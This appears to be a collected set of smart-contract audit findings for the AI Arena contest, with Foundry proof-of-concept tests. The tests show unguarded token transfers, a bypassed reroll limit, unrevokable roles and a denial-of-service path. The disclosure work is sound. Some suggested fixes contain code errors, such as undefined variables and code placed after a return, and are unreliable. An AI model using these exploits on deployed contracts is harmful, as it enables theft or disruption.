AI Arena - nuthan2x's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175

Vulnerability details

Impact

The impact here is severe breaching the main invariants of the protocol, 1. Staked tokens should not be transfereable 2. an address should not hold more than MAX_FIGHTERS_ALLOWED

Both these invariants can be breached by transfering the tokens via safeTransferFrom(from, to, id, data).

code from FighterFarm::_ableToTransfer

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

The functions safeTransferFrom(from, to, id) and transferFrom(from, to, id) has the above validation to check if a token should be transfered or not by overriding them, but safeTransferFrom(from, to, id, data) is not overridden, making it a way to transfer tokens without validation.

Proof of Concept

The logs show, that token id = 0 is staked , but the owner could transfer it to address(1). And the owner is changed, but still the id is staked. And also with this POC we can prove the tokens are transferrabe even breaching the MAX_FIGHTERS_ALLOWED, so an address can have more than MAX_FIGHTERS_ALLOWED.

[PASS] test_POC_FighterFarm_transfer() (gas: 520849)
Traces:
  [520849] FighterFarmTest::test_POC_FighterFarm_transfer()
    ├─ [24690] FighterFarm::addStaker(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1])
    │   └─ ← ()
    ├─ [23859] FighterFarm::updateFighterStaking(0, true)
    │   ├─ emit Locked(tokenId: 0)
    │   └─ ← ()
    ├─ [484] FighterFarm::fighterStaked(0) [staticcall]
    │   └─ ← true

-------- skimmed ---------------

    ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   └─ ← FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]
    ├─ [0] VM::prank(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1])
    │   └─ ← ()
    ├─ [28422] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 0x0000000000000000000000000000000000000001, 0, 0x)
    │   ├─ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], approved: 0x0000000000000000000000000000000000000000, tokenId: 0)        
    │   ├─ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: 0x0000000000000000000000000000000000000001, tokenId: 0)
    │   └─ ← ()
    ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000001
    ├─ [484] FighterFarm::fighterStaked(0) [staticcall]
    │   └─ ← true
    └─ ← ()

Paste the below POC into test/FighterFarm.t.sol and run forge t --mt test_POC_FighterFarm_transfer -vvvv

    function test_POC_FighterFarm_transfer() public {
        // mint
        _mintFromMergingPool(_ownerAddress);
        vm.prank(_DELEGATED_ADDRESS);
        _fighterFarmContract.setTokenURI(0, "gg");
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        // stake
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);

        // transfer
        vm.prank(_ownerAddress);
        _fighterFarmContract.safeTransferFrom(address(_ownerAddress), address(1), 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), address(1));
        assertEq(_fighterFarmContract.fighterStaked(0), true);
    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

Add the below overriden function into FighterFarm contract to also validate this type of transfer action.

+  function safeTransferFrom(
+      address from,
+      address to,
+      uint256 tokenId,
+      bytes memory data
+  ) public override(ERC721, IERC721) {
+      require(_ableToTransfer(tokenId, to));
+      _safeTransfer(from, to, tokenId, data);
+  }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L301 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

Impact

Certain game items are designed to be non-transferable, sp any transfer action involved with this nft contract should validate if current transferring tokenId is transferrable or not according to that game item data.

Code from GameItems::safeTransferFrom

    function safeTransferFrom(
        address from, address to,  uint256 tokenId, uint256 amount,  bytes memory data
    ) 
        public  override(ERC1155)
    {
@--->   require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

The contract overrides the GameItems::safeTransferFrom function to validate the transferrable bool, but did not override GameItems::safeBatchTransferFrom to validate the bool. so any user with balance can transfer these tokens even if they are not allowed for transfers.

Proof of Concept

• As the logs show, even after blocking the transfers, we could transfer all the 5 tokens of id 0 from test contract address to address(1). And also see the logs, where GameItems::safeTransferFrom reverts, but GameItems::safeBatchTransferFrom does not revert.

[PASS] test_POC() (gas: 199370)
Logs:
  balanceOf(address(this), tokenId): before  5
  balanceOf(address(1), tokenId):    before  0
  ----------- Batch transfer happening --------------
  balanceOf(address(this), tokenId): After  0
  balanceOf(address(1), tokenId):    After  5


├─ [0] VM::expectRevert()
│   └─ ← ()
├─ [1314] GameItems::safeTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x0000000000000000000000000000000000000001, 0, 5, 0x)
│   └─ ← "EvmError: Revert"
├─ [21958] GameItems::safeBatchTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x0000000000000000000000000000000000000001, [0], [5], 0x)
│   ├─ emit TransferBatch(operator: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], from: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000001, ids: [0], values: [5])
│   └─ ← ()

Paste the below POC into test/GameItems.t.sol and run forge t --mt test_POC -vvvv

    function test_POC() external {
        uint tokenId = 0;
        uint quantity = 5;

        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(tokenId, quantity);
        _gameItemsContract.adjustTransferability(tokenId, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(tokenId);
        assertEq(transferable, false);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(address(this), address(1), tokenId, quantity, "");

        console.log('balanceOf(address(this), tokenId): before ', _gameItemsContract.balanceOf(address(this), tokenId));
        console.log('   balanceOf(address(1), tokenId): before ', _gameItemsContract.balanceOf(address(1), tokenId));
        console.log('                                                   ');
        console.log('----------- Batch transfer happening --------------');
        console.log('                                                   ');

        uint256[] memory ids = new uint[](1);
        uint256[] memory amounts = new uint[](1);
        ids[0] = tokenId;
        amounts[0] = quantity;
        _gameItemsContract.safeBatchTransferFrom(address(this), address(1), ids, amounts, "");

        console.log('balanceOf(address(this), tokenId): After ', _gameItemsContract.balanceOf(address(this), tokenId));
        console.log('   balanceOf(address(1), tokenId): After ', _gameItemsContract.balanceOf(address(1), tokenId));

    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

Add the following function to GameItems contract and override the GameItems::safeBatchTransferFrom inherited from ERC1155, to validate if tokenId is transferrable or not.

+   function safeBatchTransferFrom(
+       address from,
+       address to,
+       uint256[] memory ids,
+       uint256[] memory amounts,
+       bytes memory data
+   ) public override(ERC1155) {
+       require(allGameItemAttributes[tokenId].transferable);
+       super.safeBatchTransferFrom(from, to, tokenId, amount, data);
+   }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

Impact

This impacts is not severe, but medium due to the invarianting breaking, to allow only max rerlls per that fighter. And it can only rerolled if new generation is increased.

Code from FighterFarm::reRoll

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); 
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
       
       ------------------- skimmed ------------------------
    }    

But the token owner can call reroll with fighterType as param, so for normal bot (not dendroid) the owner will reroll max allowed for that fighter type. But after reaching maximum, he can again call reroll with different fighterType == 1 (dendroid), so now if the max rerolls for dendroid is greater than normal bots, then it will be rerolled., so now technically max rerolls are breached, and new skin/weights/looks for that tokens are obtained.

Proof of Concept

As you can see the logs, the max rerolls is breached by the token id 0's owner.

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] test_POC_breach_maxRerolls() (gas: 748831)
Logs:
  Before numRerolls(0):  0
  After numRerolls(0):  4
  maxRerollsAllowed(0):  3

For thr POC to run, paste the below code into FighterFarm:: to make rerolls possible, or else it will revert due to modulo by zero error. Because new elements implementation is missed, and it is covered in a separate issue. This issue is about breaching max rerolls, so even after that modulo by zero issue been fixed, this issue will remain beacuse the root causes are different

    function setElements(uint8 gen, uint8 elements) external {
        require(msg.sender == _ownerAddress);
        numElements[gen] = elements;
    }

-Now paste the below test/FighterFarm.t.sol and run forge t --mt test_POC_breach_maxRerolls -vvvv

    function test_POC_breach_maxRerolls() public {
        
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // mint
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        // incrementGeneration and elements
        uint8 gen = 1;
        assertEq(_fighterFarmContract.generation(gen), 0);
        _fighterFarmContract.incrementGeneration(gen); // incrementing fighter type 1
        assertEq(_fighterFarmContract.generation(gen), 1);
        _fighterFarmContract.setElements(gen, 3); // or else it will revert, not possible to reroll due to modulo by 0 revert panic

        console.log('Before numRerolls(0): ', _fighterFarmContract.numRerolls(0));
        
        // rerolling now
        uint8 fighterType = 0;

        _fighterFarmContract.reRoll(0, fighterType);
        _fighterFarmContract.reRoll(0, fighterType);
        _fighterFarmContract.reRoll(0, fighterType);

        fighterType = 1;
        _fighterFarmContract.reRoll(0, fighterType);

        console.log('After numRerolls(0): ', _fighterFarmContract.numRerolls(0));
        console.log('maxRerollsAllowed(0): ', _fighterFarmContract.maxRerollsAllowed(0));

    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

Validate FighterFarm::reroll's input param fighterType, if that fighter is a dendroid or a normal bot.

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
+       if (fighterType == 0) require(!fighters[tokenId].dendroidBool);
+       else require(fighters[tokenId].dendroidBool);
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); 
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L500

Vulnerability details

Impact

The impact of this issue is mainly,

1. users cannot reroll their fighter if their generation id incremented even once

2. users cannot redeem mint passes by calling FighterFarm::redeemMintPass, if users claim after incrementing the generation.

3. users cannot claim fighter by calling FighterFarm::claimFighters, if users claim after incrementing the generation.

Code from _createFighterBase

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
@--->   uint256 element = dna % numElements[generation[fighterType]]; 
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

• The actions FighterFarm::redeemMintPass and FighterFarm::claimFighters depend on _createNewFighter which depends on FighterFarm::createFighterBase, and reroll directly always depends on FighterFarm::createFighterBase.

• The root cause is the FighterFarm::createFighterBase internal function which calculates element based on numElements[generation[fighterType]], if numElements for that generation of fighter type == 0, then it will revert.

• So initially in constructor owner sets numElements[0] = 3;, meaning for first gen, elements = 3.

• But nowhere it is implemented to set elements for a particular generation/fighter type, so all the dependencies of numElements with generation > 0 will revert.

• Since _createFighterBase is involved in rerolling, caliming, redeeming mints/fighters, this is a highly severe reverting action.

Proof of Concept

• As you can see the logs, that the reroll function is reverted with Division or modulo by 0 revert.

    ├─ [0] VM::expectRevert(Division or modulo by 0)
    │   └─ ← ()
    ├─ [52842] FighterFarm::reRoll(0, 0)
    │   ├─ [586] Neuron::balanceOf(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1]) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [24933] Neuron::approveSpender(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 1000000000000000000000 [1e21])
    │   │   ├─ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 1000000000000000000000 [1e21])
    │   │   └─ ← ()
    │   ├─ [4763] Neuron::transferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000000 [1e21])
    │   │   ├─ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 0)
    │   │   ├─ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000000 [1e21])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← "Division or modulo by 0"
    └─ ← ()

• Paste the below POC into test/FighterFarm.t.sol and run forge t --mt test_POC_Revert_onReroll -vvvv

    function test_POC_Revert_onReroll() public {
        
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // mint
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        // incrementGeneration
        assertEq(_fighterFarmContract.generation(0), 0);
        _fighterFarmContract.incrementGeneration(0);
        assertEq(_fighterFarmContract.generation(0), 1);

        // rerolling now
        uint8 fighterType = 0;
        vm.expectRevert(stdError.divisionError); // panic EVM revert
        _fighterFarmContract.reRoll(0, fighterType);
        
    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

• Modify FighterFarm::incrementGeneration to add elements to next generation of the fighter type when generation is incremented by owner

-   function incrementGeneration(uint8 fighterType) external returns (uint8) {
+   function incrementGeneration(uint8 fighterType, uint8 elemnets) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
+       numElements[generation[fighterType]] = elemnets
    }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/Neuron.sol#L93-L96 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L40-L47 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L194-L207

Vulnerability details

Impact

From Neuron::addMinter and AccessControl::setupRole

    function addMinter(address newMinterAddress) external {
        require(msg.sender == _ownerAddress);
        _setupRole(MINTER_ROLE, newMinterAddress);
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

• Roles of minter, staker, spender can never be revoked due to missing default admin implementation. The DEFAULT_ADMIN_ROLE = 0x00 which is default role which is admin to all the roles, and the real contract owner should own this role, since it is not granted, the owner cannot govern the roles.

• Another wrong implemnatation is using _setupRole to grant roles intead of using _grantRole, because of the warnings in the library contract.

From Openzeppelin::AccessControl and AccessControl::setupRole

* [WARNING]
    * ====
    * This function should only be called from the constructor when setting
    * up the initial roles for the system.
    *
    * Using this function in any other way is effectively circumventing the admin
    * system imposed by {AccessControl}.
    * ====
    *
    * NOTE: This function is deprecated in favor of {_grantRole}.
    */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    * Roles can be granted and revoked dynamically via the {grantRole} and
    * {revokeRole} functions. Each role has an associated admin role, and only
    * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
    *
    * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
    * that only accounts with this role will be able to grant or revoke other
    * roles. More complex role relationships can be created by using
    * {_setRoleAdmin}.
    *
    * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
    * grant and revoke this role. Extra precautions should be taken to secure
    * accounts that have been granted it.
    */

Proof of Concept

• As you can see the owner cannot revoke becasue there is no admin for that role, owner should be a default admin for all the roles granted.

[PASS] test_POC_Revoke() (gas: 72392)
Traces:
  [72392] NeuronTest::test_POC_Revoke() 
    ├─ [27181] Neuron::addMinter(NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   ├─ emit RoleGranted(role: 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, account: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], sender: NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [34420] Neuron::revokeRole(0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6, NeuronTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) 
    │   └─ ← "AccessControl: account 0x7fa9385be102ac3eac297483dd6233d62b3e1496 is missing role 0x0000000000000000000000000000000000000000000000000000000000000000"
    └─ ← ()

-Now paste the below POC into test/Neuron.t.sol and run forge t --mt test_POC_Revoke -vvvv

    function test_POC_Revoke() external {
        _neuronContract.addMinter(_ownerAddress);

        vm.expectRevert();
        _neuronContract.revokeRole(keccak256("MINTER_ROLE"), _ownerAddress);
    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

Modify the constructor on Neuron.sol to grant default admin role to owner.

    constructor(address ownerAddress, address treasuryAddress_, address contributorAddress)
        ERC20("Neuron", "NRN")
    {
        _ownerAddress = ownerAddress;
        treasuryAddress = treasuryAddress_;
        isAdmin[_ownerAddress] = true;
        _mint(treasuryAddress, INITIAL_TREASURY_MINT);
        _mint(contributorAddress, INITIAL_CONTRIBUTOR_MINT);

+       _grantRole(DEFAULT_ADMIN_ROLE, _ownerAddress);
    }

Assessed type

Access Control

Judge has assessed an item in Issue #1937 as 2 risk. The relevant finding follows:

claimNRN can be DOS if rains go over 100+

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L343 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486

Vulnerability details

Impact

Code from RankedBattle::_addResultPoints

    function _addResultPoints(
        uint8 battleResult,  uint256 tokenId,  uint256 eloFactor,  uint256 mergingPortion, address fighterOwner 
    )  private  {

        uint256 stakeAtRisk;
        uint256 curStakeAtRisk;
        uint256 points = 0;

        /// Check how many NRNs the fighter has at risk 
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

        /// Calculate the staking factor if it has not already been calculated for this round 
        if (_calculatedStakingFactor[tokenId][roundId] == false) {
            stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            _calculatedStakingFactor[tokenId][roundId] = true;
        }

        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        if (battleResult == 0) {


            --------------- skimmed --------------------------------

        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            } 

            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor; 
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
🟥🟥🟥--->     accumulatedPointsPerAddress[fighterOwner][roundId] -= points; 
                totalAccumulatedPoints[roundId] -= points;

                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk; 
                }
            }
        }
    }

• This issue is not related to frontrunning or staked amount manipulation, but uniquely related to transfering tokens after unsatking because the owner doesn;t want to battle by staking anymore. So now previously he won some points. And these points can be used to claim tokens if won, or lost then points are decreased. This is when the DOS is impacting, by changing owner by transfering the token to another wallet or worse selling in marketplace. So now the points cannot be decreased even if lost, and he can use those points for claiming NRN for the rounds he previously won. This is unfair claiming of rewards, and also the game server can never update the battle data for this tokenId ever. It will be worse when the token is sold on markets, where the new owner cannot win any more battles with that fighter nft.

• If the fighterOwner is changed for a token, then that token's battle points cannot be updated because accumulatedPointsPerAddress[fighterOwner][roundId] will be 0, and if the owner is changed, then 0 - some points will revert and its a DOS.

• See POC section for the attack scenario

Proof of Concept

sample attack scenario, doesn't have to be exactly like this, the user just have to own some points won previously and stake at risk should be > 0. There is so much time in between these activities and som amy oppurtunities to unstake, so no need to frontrun. for example: if 90+ volate is spent, the game server cannot call update battle record.

1. A fighter lost a battle, so his staked tokens 1 % is moved to stake at risk contract
2. Next battle he wins and he reclaims a % of stake at risk
3. Next battle he wins, so he gets points
4. Here he transfers the nft, by unstaking all, because he doesn't want to risk his stake anymore
5. Now he lost, but he also has points previously, so now the owner's updateBattleRecord action will fail due to the DOS mentioned above.
6. Now the token owner will claim more rewards by calling claimNRN, so now he can mint new nfts by merging, so he not not caused DOS to update battle but also claim reward for he doesn't deserve.

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

Do not keep track of accumulatedPointsPerAddress onchain, but keep track on offchain, because it doesn;t serve any purpose on chain, because it is not validating.

    function _addResultPoints(
        uint8 battleResult,  uint256 tokenId,  uint256 eloFactor,  uint256 mergingPortion, address fighterOwner 
    )  private  {

        uint256 stakeAtRisk;
        uint256 curStakeAtRisk;
        uint256 points = 0;

        /// Check how many NRNs the fighter has at risk 
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

        /// Calculate the staking factor if it has not already been calculated for this round 
        if (_calculatedStakingFactor[tokenId][roundId] == false) {
            stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            _calculatedStakingFactor[tokenId][roundId] = true;
        }

        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        if (battleResult == 0) {


            --------------- skimmed --------------------------------

        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            } 

            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor; 
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
-               accumulatedPointsPerAddress[fighterOwner][roundId] -= points; 
                totalAccumulatedPoints[roundId] -= points;

                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk; 
                }
            }
        }
    }

Assessed type

DoS

QA Report

Summary

Low

L-1 reclaim issues in updateBattleRecord

1. updateBattleRecord will revert if stake at risk doesnt have enough balance. if stakeAtRisk contract doesn't have any balance, then the updateBattleRecord by game server will revert. This balance descepency will happen if some winners reclaim larger than others or many times.

2. the reclaim % is very unfair, because he stake at risk is 1% of the staked when the attle is lost, but when won next time we only get 1% of that 1%, meaning 10000 tokens initially staked will risk 10 tokens as loss. now any win after that will only be possible to reclaim % of the 10 tokens = 0.1 token. This is unfair, and it takes 100 wins to reclaim all that was lost of 1%. So design a better system, of reclaiming %

    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ------------------------------- skimmed --------------------------
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); 
                amountStaked[tokenId] += curStakeAtRisk;
            }   
        ------------------------------- skimmed --------------------------
    }

    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        require(
            stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
            "Fighter does not have enough stake at risk"
        );

        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }

L-2 neuron.setupAirdrop is succeptable to approval race condition

if admin wants to edit already set airdrop then he will change from 5 to 10, now the recipient will frontrun the second setup and claim 5, then after the second set he will claim 15 making total claim = 15. So make setup to zero first and then set up to value like USDT mainnet., add a line like if current approval is non-zero then make it zero and then only you can make new non zero.

    function setupAirdrop(address[] calldata recipients, uint256[] calldata amounts) external {
        require(isAdmin[msg.sender]);
        require(recipients.length == amounts.length);
        uint256 recipientsLength = recipients.length;
        for (uint32 i = 0; i < recipientsLength; i++) {
            _approve(treasuryAddress, recipients[i], amounts[i]);
        }
    }

L-3 Signature verification is not EIP-712 complaint

signature doesn't encode contract address, version, chainId, and other replayablility. So it is recommended to use Openzeppelin ECDSA library implemntation to verify signatures instead of Verification.sol implementation.

The important check is the below issue

   // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
    // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
    // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
    // these malleable signatures as well.

Replace Verification.sol with ECDSA.sol from ==> https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/utils/cryptography/ECDSA.sol

L-4 if all stakes were slashed then the fighter owner can experience DOS to unlock his staked fighter

Look at actions RankedBattle::updateBattleRecord and RankedBattle::_addResultPoints

Lets say the loss bps is 50 at some point and nor within 20 battles loss, all the staked amount of a fighter is slashed at put to risk on stakeAtRisk contract. And now the fighter can never call unstake to unlock his locked nft. And its a DOS. so, user has to stake a small amount again and unstake to release the nft.

It is recommended to addunstake nft action if staked amount == 0 on RankedBattle::_addResultPoints

L-5 Wrong FixedPointMathLib version usage

The squareRoot function from FixedPointMathLib is much different than the solmate latest version, making the usage of old version vulnerable. so use the latest version at ===> https://github.com/transmissions11/solmate/blob/main/src/utils/FixedPointMathLib.sol

L-6 FighterFarm::reroll doesn't update the generation and other item data

when reolling to new skin/weight, the game item data is nt fulling updated.

function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); 
